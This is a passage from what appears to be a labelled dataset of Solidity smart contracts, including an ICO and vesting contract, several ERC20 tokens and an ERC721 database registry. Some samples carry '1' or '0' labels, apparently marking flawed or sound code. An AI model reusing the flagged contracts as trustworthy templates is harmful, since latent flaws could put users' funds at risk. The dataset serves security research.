return super.transferFrom(from, to, value);
}
}
contract ICO is Ownable {
using SafeMath for uint256;
struct WhiteListRecord {
uint256 offeredWei;
uint256 lastPurchasedTimestamp;
}
OneledgerToken public token;
address public wallet;
uint256 public rate;
mapping (address => WhiteListRecord) public whiteList;
uint256 public initialTime;
bool public saleClosed;
uint256 public weiCap;
uint256 public weiRaised;
uint256 public TOTAL_TOKEN_SUPPLY = 1000000000 * (10 ** 18);
event BuyTokens(uint256 weiAmount, uint256 rate, uint256 token, address beneficiary);
event UpdateRate(uint256 rate);
event UpdateWeiCap(uint256 weiCap);
constructor(address _wallet, uint256 _rate, uint256 _startDate, uint256 _weiCap) public {
require(_rate > 0);
require(_wallet != address(0));
require(_weiCap.mul(_rate) <= TOTAL_TOKEN_SUPPLY);
wallet = _wallet;
rate = _rate;
initialTime = _startDate;
saleClosed = false;
weiCap = _weiCap;
weiRaised = 0;
token = new OneledgerToken();
}
function() external payable {
buyTokens();
}
function updateRate(uint256 rate_) public onlyOwner {
require(now <= initialTime);
rate = rate_;
emit UpdateRate(rate);
}
function updateWeiCap(uint256 weiCap_) public onlyOwner {
require(now <= initialTime);
weiCap = weiCap_;
emit UpdateWeiCap(weiCap_);
}
function buyTokens() public payable {
validatePurchase(msg.value);
uint256 tokenToBuy = msg.value.mul(rate);
whiteList[msg.sender].lastPurchasedTimestamp = now;
weiRaised = weiRaised.add(msg.value);
token.mint(msg.sender, tokenToBuy);
wallet.transfer(msg.value);
emit BuyTokens(msg.value, rate, tokenToBuy, msg.sender);
}
function addToWhiteList(address[] addresses, uint256 weiPerContributor) public onlyOwner {
for (uint32 i = 0; i < addresses.length; i++) {
whiteList[addresses[i]] = WhiteListRecord(weiPerContributor, 0);
}
}
function mintToken(address target, uint256 tokenToMint) public onlyOwner {
token.mint(target, tokenToMint);
}
function closeSale() public onlyOwner {
saleClosed = true;
if (TOTAL_TOKEN_SUPPLY > token.totalSupply()) {
token.mint(owner, TOTAL_TOKEN_SUPPLY.sub(token.totalSupply()));
}
token.finishMinting();
token.transferOwnership(owner);
}
function validatePurchase(uint256 weiPaid) internal view{
require(!saleClosed);
require(initialTime <= now);
require(whiteList[msg.sender].offeredWei > 0);
require(weiPaid <= weiCap.sub(weiRaised));
require(now.sub(whiteList[msg.sender].lastPurchasedTimestamp) > 24 hours);
uint256 elapsedTime = now.sub(initialTime);
require(elapsedTime > 24 hours || msg.value <= whiteList[msg.sender].offeredWei);
require(elapsedTime > 48 hours || msg.value <= whiteList[msg.sender].offeredWei.mul(2));
}
}
contract OneledgerTokenVesting is Ownable{
using SafeMath for uint256;
event Released(uint256 amount);
address public beneficiary;
uint256 public startFrom;
uint256 public period;
uint256 public tokensReleasedPerPeriod;
uint256 public elapsedPeriods;
OneledgerToken private token;
constructor(
address _beneficiary,
uint256 _startFrom,
uint256 _period,
uint256 _tokensReleasedPerPeriod,
OneledgerToken _token
) public {
require(_beneficiary != address(0));
require(_startFrom >= now);
beneficiary = _beneficiary;
startFrom = _startFrom;
period = _period;
tokensReleasedPerPeriod = _tokensReleasedPerPeriod;
elapsedPeriods = 0;
token = _token;
}
function getToken() public view returns(OneledgerToken) {
return token;
}
function release() public {
require(msg.sender == owner || msg.sender == beneficiary);
require(token.balanceOf(this) >= 0 && now >= startFrom);
uint256 elapsedTime = now.sub(startFrom);
uint256 periodsInCurrentRelease = elapsedTime.div(period).sub(elapsedPeriods);
uint256 tokensReadyToRelease = periodsInCurrentRelease.mul(tokensReleasedPerPeriod);
uint256 amountToTransfer = tokensReadyToRelease > token.balanceOf(this) ? token.balanceOf(this) : tokensReadyToRelease;
require(amountToTransfer > 0);
elapsedPeriods = elapsedPeriods.add(periodsInCurrentRelease);
token.transfer(beneficiary, amountToTransfer);
emit Released(amountToTransfer);
}
} | 1 | 2,981 |
pragma solidity ^0.4.16;
contract BMToken {
string public name = "BMChain Token";
string public symbol = "BMT";
uint256 public decimals = 18;
uint256 _supply = 0;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) _approvals;
event Transfer( address indexed from, address indexed to, uint value);
event Approval( address indexed owner, address indexed spender, uint value);
address ico_contract;
address public owner;
function BMToken(){
ico_contract = address(0x0);
owner = msg.sender;
}
modifier isOwner()
{
assert(msg.sender == owner);
_;
}
function changeOwner(address new_owner) isOwner
{
assert(new_owner!=address(0x0));
assert(new_owner!=address(this));
owner = new_owner;
}
function setICOContract(address new_address) isOwner
{
assert(ico_contract==address(0x0));
assert(new_address!=address(0x0));
assert(new_address!=address(this));
ico_contract = new_address;
}
function add(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x + y) >= x);
}
function sub(uint256 x, uint256 y) constant internal returns (uint256 z) {
assert((z = x - y) <= x);
}
function totalSupply() constant external returns (uint256) {
return _supply;
}
function balanceOf(address src) constant external returns (uint256) {
return _balances[src];
}
function allowance(address src, address where) constant external returns (uint256) {
return _approvals[src][where];
}
function transfer(address where, uint amount) external returns (bool) {
assert(where != address(this));
assert(where != address(0));
assert(_balances[msg.sender] >= amount);
_balances[msg.sender] = sub(_balances[msg.sender], amount);
_balances[where] = add(_balances[where], amount);
Transfer(msg.sender, where, amount);
return true;
}
function transferFrom(address src, address where, uint amount) external returns (bool) {
assert(where != address(this));
assert(where != address(0));
assert(_balances[src] >= amount);
assert(_approvals[src][msg.sender] >= amount);
_approvals[src][msg.sender] = sub(_approvals[src][msg.sender], amount);
_balances[src] = sub(_balances[src], amount);
_balances[where] = add(_balances[where], amount);
Transfer(src, where, amount);
return true;
}
function approve(address where, uint256 amount) external returns (bool) {
assert(where != address(this));
assert(where != address(0));
_approvals[msg.sender][where] = amount;
Approval(msg.sender, where, amount);
return true;
}
function mintTokens(address holder, uint256 amount) external
{
assert(msg.sender == ico_contract);
_balances[holder] = add(_balances[holder], amount);
_supply = add(_supply, amount);
Transfer(address(0x0), holder, amount);
}
} | 1 | 3,727 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "RĪX";
string public constant TOKEN_SYMBOL = "RĪX";
bool public constant PAUSED = true;
address public constant TARGET_USER = 0xAAaEEE162102491a3a27390277A0a4c61BfB7373;
uint public constant START_TIME = 1532016047;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
} | 0 | 1,379 |
pragma solidity 0.4.25;
interface ERC165 {
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool);
}
contract SupportsInterfaceWithLookup is ERC165 {
bytes4 public constant InterfaceId_ERC165 = 0x01ffc9a7;
mapping(bytes4 => bool) internal supportedInterfaces;
constructor()
public
{
_registerInterface(InterfaceId_ERC165);
}
function supportsInterface(bytes4 _interfaceId)
external
view
returns (bool)
{
return supportedInterfaces[_interfaceId];
}
function _registerInterface(bytes4 _interfaceId)
internal
{
require(_interfaceId != 0xffffffff);
supportedInterfaces[_interfaceId] = true;
}
}
contract ERC721Basic is ERC165 {
bytes4 internal constant InterfaceId_ERC721 = 0x80ac58cd;
bytes4 internal constant InterfaceId_ERC721Exists = 0x4f558e79;
bytes4 internal constant InterfaceId_ERC721Enumerable = 0x780e9d63;
bytes4 internal constant InterfaceId_ERC721Metadata = 0x5b5e139f;
event Transfer(
address indexed _from,
address indexed _to,
uint256 indexed _tokenId
);
event Approval(
address indexed _owner,
address indexed _approved,
uint256 indexed _tokenId
);
event ApprovalForAll(
address indexed _owner,
address indexed _operator,
bool _approved
);
function balanceOf(address _owner) public view returns (uint256 _balance);
function ownerOf(uint256 _tokenId) public view returns (address _owner);
function exists(uint256 _tokenId) public view returns (bool _exists);
function approve(address _to, uint256 _tokenId) public;
function getApproved(uint256 _tokenId)
public view returns (address _operator);
function setApprovalForAll(address _operator, bool _approved) public;
function isApprovedForAll(address _owner, address _operator)
public view returns (bool);
function transferFrom(address _from, address _to, uint256 _tokenId) public;
function safeTransferFrom(address _from, address _to, uint256 _tokenId)
public;
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public;
}
contract ERC721Enumerable is ERC721Basic {
function totalSupply() public view returns (uint256);
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256 _tokenId);
function tokenByIndex(uint256 _index) public view returns (uint256);
}
contract ERC721Metadata is ERC721Basic {
function name() external view returns (string _name);
function symbol() external view returns (string _symbol);
function tokenURI(uint256 _tokenId) public view returns (string);
}
contract ERC721 is ERC721Basic, ERC721Enumerable, ERC721Metadata {
}
contract ERC721Receiver {
bytes4 internal constant ERC721_RECEIVED = 0x150b7a02;
function onERC721Received(
address _operator,
address _from,
uint256 _tokenId,
bytes _data
)
public
returns(bytes4);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
library AddressUtils {
function isContract(address _addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(_addr) }
return size > 0;
}
}
contract ERC721BasicToken is SupportsInterfaceWithLookup, ERC721Basic {
using SafeMath for uint256;
using AddressUtils for address;
bytes4 private constant ERC721_RECEIVED = 0x150b7a02;
mapping (uint256 => address) internal tokenOwner;
mapping (uint256 => address) internal tokenApprovals;
mapping (address => uint256) internal ownedTokensCount;
mapping (address => mapping (address => bool)) internal operatorApprovals;
constructor()
public
{
_registerInterface(InterfaceId_ERC721);
_registerInterface(InterfaceId_ERC721Exists);
}
function balanceOf(address _owner) public view returns (uint256) {
require(_owner != address(0));
return ownedTokensCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address) {
address owner = tokenOwner[_tokenId];
require(owner != address(0));
return owner;
}
function exists(uint256 _tokenId) public view returns (bool) {
address owner = tokenOwner[_tokenId];
return owner != address(0);
}
function approve(address _to, uint256 _tokenId) public {
address owner = ownerOf(_tokenId);
require(_to != owner);
require(msg.sender == owner || isApprovedForAll(owner, msg.sender));
tokenApprovals[_tokenId] = _to;
emit Approval(owner, _to, _tokenId);
}
function getApproved(uint256 _tokenId) public view returns (address) {
return tokenApprovals[_tokenId];
}
function setApprovalForAll(address _to, bool _approved) public {
require(_to != msg.sender);
operatorApprovals[msg.sender][_to] = _approved;
emit ApprovalForAll(msg.sender, _to, _approved);
}
function isApprovedForAll(
address _owner,
address _operator
)
public
view
returns (bool)
{
return operatorApprovals[_owner][_operator];
}
function transferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
require(isApprovedOrOwner(msg.sender, _tokenId));
require(_from != address(0));
require(_to != address(0));
clearApproval(_from, _tokenId);
removeTokenFrom(_from, _tokenId);
addTokenTo(_to, _tokenId);
emit Transfer(_from, _to, _tokenId);
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId
)
public
{
safeTransferFrom(_from, _to, _tokenId, "");
}
function safeTransferFrom(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
public
{
transferFrom(_from, _to, _tokenId);
require(checkAndCallSafeTransfer(_from, _to, _tokenId, _data));
}
function isApprovedOrOwner(
address _spender,
uint256 _tokenId
)
internal
view
returns (bool)
{
address owner = ownerOf(_tokenId);
return (
_spender == owner ||
getApproved(_tokenId) == _spender ||
isApprovedForAll(owner, _spender)
);
}
function _mint(address _to, uint256 _tokenId) internal {
require(_to != address(0));
addTokenTo(_to, _tokenId);
emit Transfer(address(0), _to, _tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
clearApproval(_owner, _tokenId);
removeTokenFrom(_owner, _tokenId);
emit Transfer(_owner, address(0), _tokenId);
}
function clearApproval(address _owner, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _owner);
if (tokenApprovals[_tokenId] != address(0)) {
tokenApprovals[_tokenId] = address(0);
}
}
function addTokenTo(address _to, uint256 _tokenId) internal {
require(tokenOwner[_tokenId] == address(0));
tokenOwner[_tokenId] = _to;
ownedTokensCount[_to] = ownedTokensCount[_to].add(1);
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
require(ownerOf(_tokenId) == _from);
ownedTokensCount[_from] = ownedTokensCount[_from].sub(1);
tokenOwner[_tokenId] = address(0);
}
function checkAndCallSafeTransfer(
address _from,
address _to,
uint256 _tokenId,
bytes _data
)
internal
returns (bool)
{
if (!_to.isContract()) {
return true;
}
bytes4 retval = ERC721Receiver(_to).onERC721Received(
msg.sender, _from, _tokenId, _data);
return (retval == ERC721_RECEIVED);
}
}
contract ERC721Token is SupportsInterfaceWithLookup, ERC721BasicToken, ERC721 {
string internal name_;
string internal symbol_;
mapping(address => uint256[]) internal ownedTokens;
mapping(uint256 => uint256) internal ownedTokensIndex;
uint256[] internal allTokens;
mapping(uint256 => uint256) internal allTokensIndex;
mapping(uint256 => string) internal tokenURIs;
constructor(string _name, string _symbol) public {
name_ = _name;
symbol_ = _symbol;
_registerInterface(InterfaceId_ERC721Enumerable);
_registerInterface(InterfaceId_ERC721Metadata);
}
function name() external view returns (string) {
return name_;
}
function symbol() external view returns (string) {
return symbol_;
}
function tokenURI(uint256 _tokenId) public view returns (string) {
require(exists(_tokenId));
return tokenURIs[_tokenId];
}
function tokenOfOwnerByIndex(
address _owner,
uint256 _index
)
public
view
returns (uint256)
{
require(_index < balanceOf(_owner));
return ownedTokens[_owner][_index];
}
function totalSupply() public view returns (uint256) {
return allTokens.length;
}
function tokenByIndex(uint256 _index) public view returns (uint256) {
require(_index < totalSupply());
return allTokens[_index];
}
function _setTokenURI(uint256 _tokenId, string _uri) internal {
require(exists(_tokenId));
tokenURIs[_tokenId] = _uri;
}
function addTokenTo(address _to, uint256 _tokenId) internal {
super.addTokenTo(_to, _tokenId);
uint256 length = ownedTokens[_to].length;
ownedTokens[_to].push(_tokenId);
ownedTokensIndex[_tokenId] = length;
}
function removeTokenFrom(address _from, uint256 _tokenId) internal {
super.removeTokenFrom(_from, _tokenId);
uint256 tokenIndex = ownedTokensIndex[_tokenId];
uint256 lastTokenIndex = ownedTokens[_from].length.sub(1);
uint256 lastToken = ownedTokens[_from][lastTokenIndex];
ownedTokens[_from][tokenIndex] = lastToken;
ownedTokens[_from].length--;
ownedTokensIndex[_tokenId] = 0;
ownedTokensIndex[lastToken] = tokenIndex;
}
function _mint(address _to, uint256 _tokenId) internal {
super._mint(_to, _tokenId);
allTokensIndex[_tokenId] = allTokens.length;
allTokens.push(_tokenId);
}
function _burn(address _owner, uint256 _tokenId) internal {
super._burn(_owner, _tokenId);
if (bytes(tokenURIs[_tokenId]).length != 0) {
delete tokenURIs[_tokenId];
}
uint256 tokenIndex = allTokensIndex[_tokenId];
uint256 lastTokenIndex = allTokens.length.sub(1);
uint256 lastToken = allTokens[lastTokenIndex];
allTokens[tokenIndex] = lastToken;
allTokens[lastTokenIndex] = 0;
allTokens.length--;
allTokensIndex[_tokenId] = 0;
allTokensIndex[lastToken] = tokenIndex;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() public onlyOwner whenNotPaused {
paused = true;
emit Pause();
}
function unpause() public onlyOwner whenPaused {
paused = false;
emit Unpause();
}
}
interface IDatabase {
function createEntry() external payable returns (uint256);
function auth(uint256, address) external;
function deleteEntry(uint256) external;
function fundEntry(uint256) external payable;
function claimEntryFunds(uint256, uint256) external;
function updateEntryCreationFee(uint256) external;
function updateDatabaseDescription(string) external;
function addDatabaseTag(bytes32) external;
function updateDatabaseTag(uint8, bytes32) external;
function removeDatabaseTag(uint8) external;
function readEntryMeta(uint256) external view returns (
address,
address,
uint256,
uint256,
uint256,
uint256
);
function getChaingearID() external view returns (uint256);
function getEntriesIDs() external view returns (uint256[]);
function getIndexByID(uint256) external view returns (uint256);
function getEntryCreationFee() external view returns (uint256);
function getEntriesStorage() external view returns (address);
function getSchemaDefinition() external view returns (string);
function getDatabaseBalance() external view returns (uint256);
function getDatabaseDescription() external view returns (string);
function getDatabaseTags() external view returns (bytes32[]);
function getDatabaseSafe() external view returns (address);
function getSafeBalance() external view returns (uint256);
function getDatabaseInitStatus() external view returns (bool);
function pause() external;
function unpause() external;
function transferAdminRights(address) external;
function getAdmin() external view returns (address);
function getPaused() external view returns (bool);
function transferOwnership(address) external;
function deletePayees() external;
}
interface IDatabaseBuilder {
function deployDatabase(
address[],
uint256[],
string,
string
) external returns (IDatabase);
function setChaingearAddress(address) external;
function getChaingearAddress() external view returns (address);
function getOwner() external view returns (address);
}
contract Safe {
address private owner;
constructor() public
{
owner = msg.sender;
}
function()
external
payable
{
require(msg.sender == owner);
}
function claim(address _entryOwner, uint256 _amount)
external
{
require(msg.sender == owner);
require(_amount <= address(this).balance);
require(_entryOwner != address(0));
_entryOwner.transfer(_amount);
}
function getOwner()
external
view
returns(address)
{
return owner;
}
}
interface IChaingear {
function addDatabaseBuilderVersion(
string,
IDatabaseBuilder,
string,
string
) external;
function updateDatabaseBuilderDescription(string, string) external;
function depricateDatabaseBuilder(string) external;
function createDatabase(
string,
address[],
uint256[],
string,
string
) external payable returns (address, uint256);
function deleteDatabase(uint256) external;
function fundDatabase(uint256) external payable;
function claimDatabaseFunds(uint256, uint256) external;
function updateCreationFee(uint256) external;
function getAmountOfBuilders() external view returns (uint256);
function getBuilderByID(uint256) external view returns(string);
function getDatabaseBuilder(string) external view returns(address, string, string, bool);
function getDatabasesIDs() external view returns (uint256[]);
function getDatabaseIDByAddress(address) external view returns (uint256);
function getDatabaseAddressByName(string) external view returns (address);
function getDatabaseSymbolByID(uint256) external view returns (string);
function getDatabaseIDBySymbol(string) external view returns (uint256);
function getDatabase(uint256) external view returns (
string,
string,
address,
string,
uint256,
address,
uint256
);
function getDatabaseBalance(uint256) external view returns (uint256, uint256);
function getChaingearDescription() external pure returns (string);
function getCreationFeeWei() external view returns (uint256);
function getSafeBalance() external view returns (uint256);
function getSafeAddress() external view returns (address);
function getNameExist(string) external view returns (bool);
function getSymbolExist(string) external view returns (bool);
}
contract PaymentSplitter {
using SafeMath for uint256;
uint256 internal totalShares;
uint256 internal totalReleased;
mapping(address => uint256) internal shares;
mapping(address => uint256) internal released;
address[] internal payees;
event PayeeAdded(address account, uint256 shares);
event PaymentReleased(address to, uint256 amount);
event PaymentReceived(address from, uint256 amount);
constructor (address[] _payees, uint256[] _shares)
public
payable
{
_initializePayess(_payees, _shares);
}
function ()
external
payable
{
emit PaymentReceived(msg.sender, msg.value);
}
function getTotalShares()
external
view
returns (uint256)
{
return totalShares;
}
function getTotalReleased()
external
view
returns (uint256)
{
return totalReleased;
}
function getShares(address _account)
external
view
returns (uint256)
{
return shares[_account];
}
function getReleased(address _account)
external
view
returns (uint256)
{
return released[_account];
}
function getPayee(uint256 _index)
external
view
returns (address)
{
return payees[_index];
}
function getPayeesCount()
external
view
returns (uint256)
{
return payees.length;
}
function release(address _account)
public
{
require(shares[_account] > 0);
uint256 totalReceived = address(this).balance.add(totalReleased);
uint256 payment = totalReceived.mul(shares[_account]).div(totalShares).sub(released[_account]);
require(payment != 0);
released[_account] = released[_account].add(payment);
totalReleased = totalReleased.add(payment);
_account.transfer(payment);
emit PaymentReleased(_account, payment);
}
function _initializePayess(address[] _payees, uint256[] _shares)
internal
{
require(payees.length == 0);
require(_payees.length == _shares.length);
require(_payees.length > 0 && _payees.length <= 8);
for (uint256 i = 0; i < _payees.length; i++) {
_addPayee(_payees[i], _shares[i]);
}
}
function _addPayee(
address _account,
uint256 _shares
)
internal
{
require(_account != address(0));
require(_shares > 0);
require(shares[_account] == 0);
payees.push(_account);
shares[_account] = _shares;
totalShares = totalShares.add(_shares);
emit PayeeAdded(_account, _shares);
}
}
contract FeeSplitterChaingear is PaymentSplitter, Ownable {
event PayeeAddressChanged(
uint8 payeeIndex,
address oldAddress,
address newAddress
);
constructor(address[] _payees, uint256[] _shares)
public
payable
PaymentSplitter(_payees, _shares)
{ }
function changePayeeAddress(uint8 _payeeIndex, address _newAddress)
external
onlyOwner
{
require(_payeeIndex < 12);
require(payees[_payeeIndex] != _newAddress);
address oldAddress = payees[_payeeIndex];
shares[_newAddress] = shares[oldAddress];
released[_newAddress] = released[oldAddress];
payees[_payeeIndex] = _newAddress;
delete shares[oldAddress];
delete released[oldAddress];
emit PayeeAddressChanged(_payeeIndex, oldAddress, _newAddress);
}
}
library ERC721MetadataValidation {
function validateName(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
for (uint i = 0; i < _baseBytes.length; i++) {
require(_baseBytes[i] >= 0x61 && _baseBytes[i] <= 0x7A || _baseBytes[i] >= 0x30 && _baseBytes[i] <= 0x39 || _baseBytes[i] == 0x2D);
}
}
function validateSymbol(string _base)
internal
pure
{
bytes memory _baseBytes = bytes(_base);
